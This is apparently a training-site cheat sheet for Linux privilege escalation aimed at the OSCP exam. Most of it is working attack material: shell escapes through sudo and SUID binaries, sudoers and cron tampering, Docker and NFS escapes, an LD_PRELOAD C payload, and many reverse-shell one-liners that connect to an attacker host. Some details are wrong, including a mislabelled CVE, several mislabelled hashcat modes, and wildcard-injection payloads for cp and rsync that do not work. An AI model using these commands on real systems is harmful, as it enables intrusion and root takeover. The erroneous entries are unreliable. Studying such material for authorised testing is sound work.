Domain 4PrivEsc & Password AttacksCORE

Linux Privilege Escalation Quick Reference Cheat Sheet

Comprehensive one-page reference covering all essential enumeration commands, exploitation one-liners, reverse shells, file transfer methods, and the priority decision tree for OSCP Linux privilege escalation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#cheat-sheet#quick-reference#one-liners#commands#exam-tips

Linux Privilege Escalation Quick Reference Cheat Sheet

Essential Enumeration Commands

User and Group Information

whoami                    # Current user
id                        # Current user ID and groups
groups                    # Current user's groups
who                       # Who is logged in
w                         # Who is logged in and what they're doing
last                      # Last logged in users
lastlog                   # Last login for all users
cat /etc/passwd           # All users
cat /etc/shadow           # Password hashes (if readable)
cat /etc/group            # All groups
awk -F: '$3 == 0 {print $1}' /etc/passwd   # Users with UID 0
grep -vE "*(nologin|false)" /etc/passwd      # Users with login shells

Kernel and OS Information

uname -a                  # All kernel info
uname -r                  # Kernel version
uname -m                  # Architecture
cat /etc/os-release       # OS version
cat /etc/*-release        # All release files
hostname                   # Hostname
uptime                     # System uptime

SUID and SGID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find all SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Find SUID binaries not in default locations
find / -perm -4000 -type f 2>/dev/null | grep -vE "(/usr/bin|/bin)"

# Find writable SUID binaries
find / -perm -4000 -type f -writable 2>/dev/null

# Find SUID binaries owned by other users
find / -perm -4000 -type f ! -user root 2>/dev/null

# Check specific binary
ls -la /path/to/binary
file /path/to/binary
strings /path/to/binary

Sudo Permissions

sudo -l                   # List sudo permissions
sudo -l -U <user>         # List sudo permissions for specific user
cat /etc/sudoers          # Sudoers file (if readable)
ls -la /etc/sudoers.d/    # Sudoers.d directory
cat /etc/sudoers.d/*      # All sudoers.d files

Cron Jobs

crontab -l                # Current user's cron jobs
crontab -l -u root        # Root's cron jobs (if sudo)
ls -la /etc/cron*         # All cron directories
cat /etc/crontab          # System crontab
ls -la /var/spool/cron/   # User cron jobs
ls -la /var/spool/cron/crontabs/   # User crontabs
find /etc/cron* -type f -writable 2>/dev/null   # Writable cron files

Network Services

ss -tulpn                 # All listening ports (TCP/UDP)
netstat -tulpn            # All listening ports (alternative)
ss -tnp                   # Established connections
netstat -tnp              # Established connections (alternative)
ip addr                   # Network interfaces and IPs
ifconfig -a               # Network interfaces (alternative)
ip route                  # Routing table
route -n                  # Routing table (alternative)
cat /etc/resolv.conf      # DNS configuration
arp -a                    # ARP table

Mounted Filesystems

mount                     # All mounted filesystems
df -h                     # Disk usage
df -T                     # Filesystem types
cat /etc/fstab            # Filesystem table
mount | grep nfs          # NFS mounts
mount | grep cifs         # CIFS/SMB mounts

Environment Variables

env                       # All environment variables
printenv                  # All environment variables (alternative)
env | grep -iE "password|token|secret|key|credential"   # Credentials
env | grep -iE "LD_PRELOAD|LD_LIBRARY_PATH|PYTHONPATH"  # Dangerous vars
echo $PATH                # PATH variable

Running Processes

ps aux                    # All processes
ps aux --sort=-%mem       # Processes sorted by memory
ps aux --sort=-%cpu       # Processes sorted by CPU
ps aux | grep root        # Processes running as root
ps aux | grep -v "$(whoami)"   # Processes not running as current user

Interesting Files

# SSH keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" 2>/dev/null
ls -la ~/.ssh/
cat ~/.ssh/authorized_keys 2>/dev/null

# History files
find / -name ".bash_history" -o -name ".zsh_history" 2>/dev/null
cat ~/.bash_history

# Writable files
find / -type f -perm -o+w -writable 2>/dev/null
find / -type d -perm -o+w -writable 2>/dev/null

# Backup files
find / -name "*.bak" -o -name "*.old" -o -name "*.swp" 2>/dev/null

# Config files with credentials
find /home -name "*.conf" -o -name "*.cfg" -o -name "*.yml" -o -name "*.yaml" -o -name ".env" 2>/dev/null

Docker and Containers

which docker              # Check if Docker is installed
docker --version          # Docker version
groups | grep docker      # Docker group membership
ls -la /var/run/docker.sock   # Docker socket
docker ps -a              # List containers
docker inspect <container>   # Container details

Capabilities

getcap -r / 2>/dev/null                    # All files with capabilities
getcap /path/to/binary                     # Specific binary capabilities
cat /proc/<PID>/status | grep Cap         # Process capabilities

SUID Binary Exploitation One-Liners (Top 15)

# Binary Exploitation Command Notes
1 find sudo find . -exec /bin/sh -p \; -quit Most common SUID exploit
2 vim sudo vim -c '!sh' or :!/bin/sh in vim GTFOBins
3 bash sudo bash -p Preserves SUID
4 python3 sudo python3 -c 'import os; os.system("/bin/bash -p")' GTFOBins
5 python sudo python -c 'import os; os.system("/bin/bash -p")' Python 2
6 perl sudo perl -e 'exec "/bin/bash -p";' GTFOBins
7 ruby sudo ruby -e 'exec "/bin/bash -p"' GTFOBins
8 nmap sudo nmap --interactive then !sh Interactive mode
9 tar sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh GTFOBins
10 awk sudo awk 'BEGIN {system("/bin/bash -p")}' GTFOBins
11 less sudo less /etc/passwd then !/bin/sh GTFOBins
12 more sudo more /etc/passwd then !/bin/sh GTFOBins
13 nano sudo nano then Ctrl+R Ctrl+X then /bin/sh GTFOBins
14 env sudo env /bin/sh -p GTFOBins
15 strace sudo strace -o /dev/null /bin/bash -p GTFOBins

SUID Binary Quick Reference

# Check if binary is in GTFOBins
# https://gtfobins.github.io/gtfobins/<binary>/

# If SUID binary is writable
test -w /path/to/binary && echo "WRITABLE" || echo "NOT WRITABLE"

# Replace writable SUID binary with shell
cp /bin/bash /path/to/writable_suid_binary
chmod +s /path/to/writable_suid_binary
/path/to/writable_suid_binary

# Check for shell spawning in binary
strings /path/to/binary | grep -iE "system|popen|exec|sh"

Sudo Exploitation One-Liners (Top 15)

# Binary Exploitation Command Notes
1 ALL (NOPASSWD) sudo /bin/bash or sudo -i Full sudo access
2 find sudo find . -exec /bin/sh -p \; -quit GTFOBins
3 vim sudo vim -c '!sh' GTFOBins
4 python3 sudo python3 -c 'import os; os.system("/bin/bash -p")' GTFOBins
5 python sudo python -c 'import os; os.system("/bin/bash -p")' Python 2
6 bash sudo bash -p Preserves privileges
7 tar sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh GTFOBins
8 awk sudo awk 'BEGIN {system("/bin/bash -p")}' GTFOBins
9 perl sudo perl -e 'exec "/bin/bash -p";' GTFOBins
10 ruby sudo ruby -e 'exec "/bin/bash -p"' GTFOBins
11 env sudo env /bin/sh -p GTFOBins
12 less sudo less /etc/passwd then !/bin/sh GTFOBins
13 nano sudo nano then Ctrl+R Ctrl+X then /bin/sh GTFOBins
14 cp sudo cp /etc/sudoers /tmp/; echo 'user ALL=(ALL) NOPASSWD:ALL' >> /tmp/sudoers; sudo cp /tmp/sudoers /etc/sudoers Sudoers edit
15 tee `echo ‘user ALL=(ALL) NOPASSWD:ALL’ sudo tee -a /etc/sudoers`

Sudo Quick Reference

# Check sudo permissions
sudo -l

# If NOPASSWD for any command
sudo <command>

# If password required
sudo -S <command> <<< "password"

# GTFOBins reference
# https://gtfobins.github.io/gtfobins/<binary>/

Cron Job Exploitation Commands

Check Cron Jobs

# Current user's cron jobs
crontab -l

# All cron directories
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/

# Writable cron files
find /etc/cron* -type f -writable 2>/dev/null
find /var/spool/cron -type f -writable 2>/dev/null

Exploit Writable Cron Job

# Method 1: Replace the script
echo '#!/bin/bash' > /etc/cron.d/vulnerable_job
echo '/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' >> /etc/cron.d/vulnerable_job
chmod +x /etc/cron.d/vulnerable_job

# Method 2: Append to existing script
echo '/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/cron/script.sh

# Method 3: Create SUID binary via cron
echo '#!/bin/bash' > /path/to/cron/script.sh
echo 'cp /bin/bash /tmp/rootshell' >> /path/to/cron/script.sh
echo 'chmod +s /tmp/rootshell' >> /path/to/cron/script.sh
chmod +x /path/to/cron/script.sh

Exploit Wildcard Injection in Cron

# If cron runs: cp /home/user/* /backup/
# Create malicious files
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=/bin/sh

# Or for tar: tar czf /backup/backup.tar.gz /home/user/*
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=/bin/sh

Capability Exploitation Commands

Check Capabilities

# All files with capabilities
getcap -r / 2>/dev/null

# Specific binary
getcap /path/to/binary

# Process capabilities
cat /proc/<PID>/status | grep Cap

Exploit Common Capabilities

# cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setgid
python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'

# cap_dac_override
# Read any file
cat /etc/shadow

# cap_sys_admin
# Very powerful - can do almost anything
# Check what binary has this capability

# cap_net_raw
# Can sniff network traffic
tcpdump -i any -w /tmp/capture.pcap

# cap_net_admin
# Can modify network interfaces
ip link set eth0 promisc

Docker Escape Commands (All Methods)

Method 1: Mount Host Filesystem

# Mount host root filesystem
docker run --rm -it -v /:/host ubuntu:latest /bin/bash
# Inside container:
cd /host/root
cat root.txt

Method 2: Privileged Container

docker run --rm -it --privileged -v /:/host ubuntu:latest /bin/bash
# Inside container:
mount | grep host
cd /host/root

Method 3: PID Namespace

docker run --rm -it --pid=host ubuntu:latest /bin/bash
# Inside container:
nsenter -t 1 -m -u -i -n
whoami
# root

Method 4: Docker Socket

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest /bin/bash
# Inside container, install docker CLI:
apt-get update && apt-get install -y docker.io
docker run --rm -it -v /:/host ubuntu:latest /bin/bash

Method 5: Build Malicious Image

# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM ubuntu:latest
RUN apt-get update && apt-get install -y bash
CMD ["/bin/bash"]
EOF

# Build and run
docker build -t privesc .
docker run --rm -it -v /:/host privesc /bin/bash

Method 6: Docker Group Exploit

# If user is in docker group
groups | grep docker

# Run container with host filesystem
docker run -v /:/mnt -i -t ubuntu chroot /mnt bash

NFS Exploitation Commands

Check NFS Configuration

# Check mounted NFS shares
mount | grep nfs
cat /etc/fstab | grep nfs

# Check exports on target
cat /etc/exports

# Show mounts from server
showmount -e <NFS_SERVER_IP>

Exploit no_root_squash

# On attacker machine
# Step 1: Create SUID binary
cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF

gcc /tmp/rootshell.c -o /tmp/rootshell

# Step 2: Mount NFS share
mkdir -p /mnt/nfs_target
mount -o nolock <TARGET_IP>:/shared /mnt/nfs_target

# Step 3: Copy SUID binary
cp /tmp/rootshell /mnt/nfs_target/rootshell
chmod +s /mnt/nfs_target/rootshell

# Step 4: On target, execute
/mnt/shared/rootshell
whoami
# root

Kernel Exploit Workflow Commands

Identify Kernel Version

uname -a
uname -r
cat /proc/version

Search for Exploits

# Using searchsploit
searchsploit "kernel version"
searchsploit "dirty cow"
searchsploit "dirty pipe"
searchsploit "overlayfs"

# Manual search
# https://github.com/lucyoa/kernel-exploits
# https://www.exploit-db.com/

Compile and Run Exploit

# Copy exploit
cp /usr/share/exploitdb/exploits/linux/local/<ID>.c /tmp/exploit.c

# Compile
gcc /tmp/exploit.c -o /tmp/exploit -pthread

# Run
/tmp/exploit

# Alternative: Use pre-compiled exploits
# https://github.com/offensive-security/exploitdb-bin-sploits

Common Kernel Exploits

CVE Kernel Range Name Notes
CVE-2016-5195 2.6.22 - 4.8.3 Dirty Cow Most common
CVE-2022-0847 5.8 - 5.16 Dirty Pipe Newer kernels
CVE-2021-4034 5.10+ Overlayfs Container escape
CVE-2017-16625 4.4 - 4.14 Perf_Sys Older kernels

LD_PRELOAD Quick Reference

C Code Template

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    unsetenv("LD_PRELOAD");
    system("/bin/bash -p");
}

Compilation and Usage

# Compile shared library
gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles

# Use with vulnerable SUID binary
LD_PRELOAD=/tmp/preload.so /path/to/suid_binary

# Alternative: Via /etc/ld.so.preload
echo "/tmp/preload.so" > /etc/ld.so.preload

Alternative LD_PRELOAD Payload

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

void _init() {
    setuid(0);
    setgid(0);
    unsetenv("LD_PRELOAD");

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("ATTACKER_IP");
    connect(sock, (struct sockaddr*)&addr, sizeof(addr));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    system("/bin/bash -i");
}

# Find world-writable directories
find / -type d -perm -o+w -writable 2>/dev/null

# Find symlinks
find / -type l 2>/dev/null

# Check for race condition vulnerabilities
ls -la /tmp/
# Method 1: Simple symlink attack
ln -s /etc/shadow /tmp/shadow_link
# If a root process writes to /tmp/shadow_link, it writes to /etc/shadow

# Method 2: Symlink to SSH key
mkdir -p /tmp/ssh_hack
ln -s /root/.ssh /tmp/ssh_hack/authorized_keys_dir
# If root copies to this directory, your key gets added

# Method 3: Symlink to cron job
ln -s /bin/bash /tmp/cron_exploit
# If root copies /tmp/cron_exploit somewhere with SUID

Wildcard Injection Payloads

For cp Command

# If cron runs: cp /home/user/* /backup/
# Create malicious files
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=/bin/sh

# Alternative
touch /home/user/--help

For tar Command

# If cron runs: tar czf /backup/backup.tar.gz /home/user/*
# Create malicious files
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=/bin/sh

# Alternative payload
touch /home/user/--to-stdout
echo '/bin/bash -p' > /home/user/--checkpoint-action=exec=/bin/sh

For rsync Command

# If cron runs: rsync -a /home/user/* /backup/
# Create malicious file
touch /home/user/--checksum

Wildcard Injection Summary

Command Payload Files Notes
cp * --checkpoint=1, --checkpoint-action=exec=/bin/sh GNU cp
tar * --checkpoint=1, --checkpoint-action=exec=/bin/sh GNU tar
rsync * --checksum GNU rsync
cat * Not directly exploitable Read-only
rm * Not directly exploitable Delete-only

Shell Escape One-Liners (Top 15)

# Application Escape Command Notes
1 vim :!/bin/sh or :shell Most common
2 less !/bin/sh From any page
3 more !/bin/sh From any page
4 man !shell or !/bin/sh From man page
5 awk BEGIN {system("/bin/sh")} AWK shell escape
6 find find . -exec /bin/sh \; Find exec
7 nmap --interactive then !sh Interactive mode
8 python import os; os.system('/bin/sh') Python shell
9 python3 import os; os.system('/bin/sh') Python 3 shell
10 perl exec "/bin/sh"; Perl shell
11 ruby exec "/bin/sh" Ruby shell
12 lua os.execute('/bin/sh') Lua shell
13 git git -p help then !/bin/sh Git pager
14 zip zip /tmp/test.zip /etc/passwd -T -TT 'bash -p' Zip test
15 env env /bin/sh Env shell

Reverse Shell Cheat Sheet

Bash

# Basic bash reverse shell
bash -i >& /dev/tcp/IP/PORT 0>&1

# Alternative bash reverse shell
exec 5<>/dev/tcp/IP/PORT
cat <&5 | while read line; do $line 2>&5 >&5; done

# Bash with /bin/sh fallback
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196

Python

# Python 3
python3 -c 'import socket,subprocess,os; s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python 2
python -c 'import socket,subprocess,os; s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python one-liner (shorter)
python3 -c 'import pty;pty.spawn("/bin/bash")'

Perl

perl -e 'use Socket; $i="IP"; $p=PORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'

PHP

php -r '$sock=fsockopen("IP",PORT); exec("/bin/sh -i <&3 >&3 2>&3");'

# Alternative PHP
php -r '$s=fsockopen("IP",PORT);system("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e 'f=TCPSocket.open("IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

# Standard netcat
nc -e /bin/sh IP PORT

# Alternative netcat
nc IP PORT -e /bin/sh

# If -e not available
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f

Other Shells

# Lua
lua -e 'require("socket");require("os");t=socket.tcp();t:connect("IP","PORT");os.execute("/bin/sh -i <&3 >&3 2>&3");'

# Node.js
node -e 'require("child_process").exec("bash -i >& /dev/tcp/IP/PORT 0>&1")'

# Telnet
rm -f /tmp/t;mknod /tmp/t p && telnet IP PORT 0/tmp/t

# Socat
socat TCP:IP:PORT EXEC:/bin/sh,pty,stderr,setsid,sigint,sane

Reverse Shell Upgrading

# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background the shell
Ctrl+Z
stty raw -echo; fg

# Set terminal
export TERM=xterm-256color

File Transfer Commands

wget

# On target
wget http://ATTACKER_IP:8000/file

# With different output name
wget -O /tmp/output.sh http://ATTACKER_IP:8000/file.sh

curl

# On target
curl -O http://ATTACKER_IP:8000/file
curl -o /tmp/output.sh http://ATTACKER_IP:8000/file.sh

Python HTTP Server

# On attacker machine
python3 -m http.server 8000
python -m SimpleHTTPServer 8000

# On target
wget http://ATTACKER_IP:8000/file
curl -O http://ATTACKER_IP:8000/file

Netcat

# On attacker machine
nc -lvnp 4444 < file

# On target
nc ATTACKER_IP 4444 > file

SCP

# From attacker to target
scp file user@target:/tmp/file

# From target to attacker
scp user@target:/path/to/file /local/path/

Base64 (Bypass Filters)

# On attacker machine
base64 file > file.b64

# On target
echo "BASE64_CONTENT" | base64 -d > file

Password Cracking Commands

John the Ripper

# Basic crack
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Specify hash type
john hash.txt --format=sha256crypt --wordlist=/usr/share/wordlists/rockyou.txt

# Show cracked passwords
john --show hash.txt

# Resume cracked session
john --restore hash.txt

# Common hash types
# --format=md5
# --format=sha256crypt
# --format=sha512crypt
# --format=nt

Hashcat

# Basic crack
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

# Common hash types
# -m 0    MD5
# -m 10   SHA1
# -m 100  NTLM
# -m 1800 SHA256
# -m 3200 SHA512
# -m 500  $2a$ (bcrypt)
# -m 1000 SHA-512

# Show cracked
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --show

# Resume
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --restore

Identify Hash Type

# Using hash-identifier
hash-identifier

# Using hashid
hashid hash_value

# Manual identification
# $6$ = SHA-512
# $5$ = SHA-256
# $1$ = MD5
# $2a$/$2b$ = bcrypt

LinPEAS Quick Reference

Download and Run

# Download
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh

# Run
/tmp/linpeas.sh

# Save output
/tmp/linpeas.sh > /tmp/linpeas_output.txt 2>&1

Filter Output

# High-value findings
/tmp/linpeas.sh 2>&1 | grep -iE "suid|sudo|writable|docker|capability|cron|nfs"

# Critical findings only
/tmp/linpeas.sh 2>&1 | grep -iE "\[!\]|critical|vulnerable|exploit"

# Credentials
/tmp/linpeas.sh 2>&1 | grep -iE "password|token|secret|key|credential"

# Network
/tmp/linpeas.sh 2>&1 | grep -i "listen"

Transfer Methods

# Python HTTP server
python3 -m http.server 8000
# Target: wget http://ATTACKER:8000/linpeas.sh

# Netcat
nc -lvnp 4444 < linpeas.sh
# Target: nc ATTACKER 4444 > linpeas.sh

# Direct URL (if internet access)
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Decision Tree: Which Privesc Vector to Check First

Priority Order for OSCP Exam

┌─────────────────────────────────────────────────────────────┐
│              OSCP PRIVILEGE ESCALATION PRIORITY              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  PRIORITY 1: id, sudo -l                                    │
│  └─ Fastest, most reliable, 1-command root                  │
│                                                             │
│  PRIORITY 2: SUID binaries                                  │
│  └─ Common in OSCP, well-documented exploits                │
│  └─ Check GTFOBins for each SUID binary                     │
│                                                             │
│  PRIORITY 3: Cron jobs                                      │
│  └─ Frequent in OSCP, reliable                              │
│  └─ Check for writable cron scripts                         │
│                                                             │
│  PRIORITY 4: Sudo rules (GTFOBins compatible)               │
│  └─ If sudo -l shows specific binaries                      │
│  └─ Check GTFOBins for each sudoable binary                 │
│                                                             │
│  PRIORITY 5: Writable files                                 │
│  └─ Check /etc/passwd, /etc/shadow, /etc/crontab            │
│  └─ Check application configs                               │
│                                                             │
│  PRIORITY 6: Docker / NFS                                   │
│  └─ Docker: groups | grep docker                            │
│  └─ NFS: mount | grep nfs                                   │
│                                                             │
│  PRIORITY 7: Capabilities                                   │
│  └─ getcap -r /                                             │
│  └─ Less common but powerful                                │
│                                                             │
│  PRIORITY 8: Kernel exploits (LAST RESORT)                  │
│  └─ Can crash the system                                    │
│  └─ Only if all else fails                                  │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Quick Decision Flowchart

Start
 │
 ├─ sudo -l shows NOPASSWD?
 │  └─ YES → Exploit via GTFOBins → ROOT
 │
 ├─ SUID binary in GTFOBins?
 │  └─ YES → Exploit SUID → ROOT
 │
 ├─ Writable cron job?
 │  └─ YES → Modify cron → ROOT
 │
 ├─ Docker group or socket?
 │  └─ YES → Container escape → ROOT
 │
 ├─ NFS no_root_squash?
 │  └─ YES → Mount and exploit → ROOT
 │
 ├─ File with capabilities?
 │  └─ YES → Abuse capability → ROOT
 │
 ├─ Writable /etc/passwd?
 │  └─ YES → Add root user → ROOT
 │
 └─ Kernel vulnerable?
    └─ YES → Kernel exploit → ROOT (LAST RESORT)

OSCP Exam Tips

Essential Tips

  1. Always run LinPEAS on every Linux box
  2. Save all output for reference
  3. Follow the priority order strictly
  4. Verify findings manually before exploiting
  5. Keep GTFOBins open in a browser tab
  6. Document everything as you go
  7. Maintain backup shells at all times
  8. Kernel exploits are last resort - they can crash the box
  9. Time management: Budget 45-60 min per box for privesc
  10. Stay calm and methodical - trust the process

Common Exam Vectors (By Frequency)

Rank Vector Frequency Difficulty
1 SUID binary Very High Easy
2 Sudo misconfiguration Very High Easy
3 Cron job High Easy-Medium
4 Writable files High Easy
5 Docker escape Medium Easy
6 NFS no_root_quash Medium Easy
7 Capability abuse Low-Medium Medium
8 Kernel exploit Low Hard
Resource URL
GTFOBins https://gtfobins.github.io/
LinPEAS https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings
Linux Exploit Suggester https://github.com/mzet-/linux-exploit-suggester
Privilege Escalation Awesome Scripts https://github.com/rebootuser/LinEnum

Summary

This cheat sheet covers the most essential commands and techniques for Linux privilege escalation in the OSCP exam. Keep it handy during practice and reference it regularly. The key to success is:

  1. Enumeration first - Always enumerate thoroughly
  2. Follow priority order - Don’t skip steps
  3. Verify manually - Don’t trust scripts blindly
  4. Document everything - Write it down
  5. Stay patient - Privesc is a puzzle, not a race

Master these commands and techniques, and you will be well-prepared for the OSCP Linux privilege escalation challenges.